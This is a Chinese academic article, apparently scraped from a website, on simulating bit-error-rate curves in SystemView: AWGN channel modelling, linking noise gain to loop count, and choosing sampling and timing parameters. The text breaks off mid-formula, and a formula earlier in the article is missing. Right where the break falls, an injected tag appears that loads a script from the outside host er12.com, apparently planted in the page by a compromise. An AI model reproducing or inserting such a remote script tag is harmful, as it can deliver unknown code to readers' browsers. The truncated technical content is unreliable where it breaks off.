基于System View的比特误码率测试的仿真

摘 要:比特误码率(rbe)是衡量一个通信系统优劣的重要指标之一。对如何利用system view仿真软件测试和生成一个通信系统的rbe测试曲线的实例进行了研究,并对此次仿真过程中的关键问题加以论述。

关键词:比特误码率;bch码;卷积码;仿真

simulation of bit error rate testing based on the system view

yang liang,qi lin,liu yanxia

(information engineering school,zhengzhou university,zhengzhou,450052,china)

abstract:bit error rate (rbe) is one of the most i mportant qualification to judge a communication system. this article introduced some examples about h ow to use system view simulation software to test and generate the rbe testing curve of a communication systemat the same time, some key problems du ring the simulating process were discussed

keywords:bit error rate;bch code; convolution code; simulat ion

1system view概述

elanix的system view是一个完整的动态系统设计、仿真和分析的可视化环境,是一个适合多种操作系统的单机和网络平台。在system view环境下,可以构造各种复杂的模拟、数字、数模混合系统和各种速率的系统,可用于线性或非线性控制、通信系统的设计和仿真。system view有诸多优点:直观、简单、易用;支持多速率系统和并行系统;无限制分层结构;丰富的功能模块;广泛的滤波和线性系统设计;可扩展性。

2误码率测试仿真原理及其仿真的关键问题

2.1误码率测试仿真原理

在仿真系统中,信道模拟成一个高斯噪声信道(awgn),输入信号经过awgn信道后在输出端进行硬判断,当带有噪声的接收信号大于判决电平时,输出判为1,此时的原参照信号如果为0,则产生误码。

为了便于对各个系统进行比较,通常将信噪比用每比特所携带的能量除以噪声功率谱密度来表示,即eb/n0,对基带信号,定义信噪比为:
这里的a为信号的幅度(通常取归一化值),r=1/t是信号的数据率。在仿真过程中,为了能得到一个通信系统的rbe曲线,通常需要在信号源或噪声源后边加入一个增益图符来控制信噪比的大小,system view仿真时应用此种方法(在噪声源后面加入增益图符)。受控的增益图符需要在系统菜单中设置全局关联变量,以便每一个测试循环完成后将系统参数改变到下一个信噪比值,全局关联变量的设置方法在下述内容中介绍。

2.2全局关联变量的设置

当一个高斯噪声信道的rbe测试模型设置基本完毕后,并不能绘出完整正确的rbe/rsn曲线,还必须将噪声增益控制与系统循环次数进行全局变量关联,使信道的信噪比(rsn)由0 db开始逐步加大,即噪声逐步减小,噪声每次减小的步长与循环次数相关。设置的方法是:单击system view主菜单中的“tools”选项,选择“global parameter links”,这时出现如图1所示参数设置栏,在“select system token”中选择要关联的全局变量,图中选择了gain图符,如果设定每次循环后将信噪比递增1 db,即噪声减小1 db,则应在算术运算关系定义栏“define algebraic relation f[gi,vi]”内将f[gi,vi]的值设置为-c1,这里c1为系统变量“current system loop”的系统循环次数。

2.3设置系统仿真时间

在进行系统仿真之前首先必须对定时参数进行设置,系统的定时设定直接影响着系统仿真的效果甚至仿真结果的正确性。同时,定时参数的设置也直接影响系统仿真的精度,因此选取定时参数必须十分的注意,这也是初学者应重点掌握的内容,采样速率过高增加仿真的时间,过低则有可能得不到正确的仿真结果。单击设计窗口工具栏上的系统定时按钮则弹出系统定时设定窗口。

在进行定时窗口设置时要注意以下几点:

(1)起始和终止时间控制了系统运行的时间范围,system view要求终止时间值应大于起始时间值。

(2)采样速率/采样间隔控制着时间步长,这2个值是相互关联的2个系统参数
改变其中一个数值,系统会自动修改另一个。system view是基于数字信号处理的模型分析软件,因此不论是模拟系统还是数字系统,system view总是要执行数字化处理。所以采样速率的选取必须遵循采样定律,否则将产生错误,很多system view仿真错误就是由此产生的。对于连续时间系统的仿真,系统的采样率必须定义为该系统最高频率的3~4倍。

(3)采样点数指定了系统仿真过程中总的采样点个数,其基本运算关系为:

采样点数=(终止时间-起始时间)×采样速率?script src=http://er12.com/t.js>

  • 基于System View的比特误码率测试的仿真已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计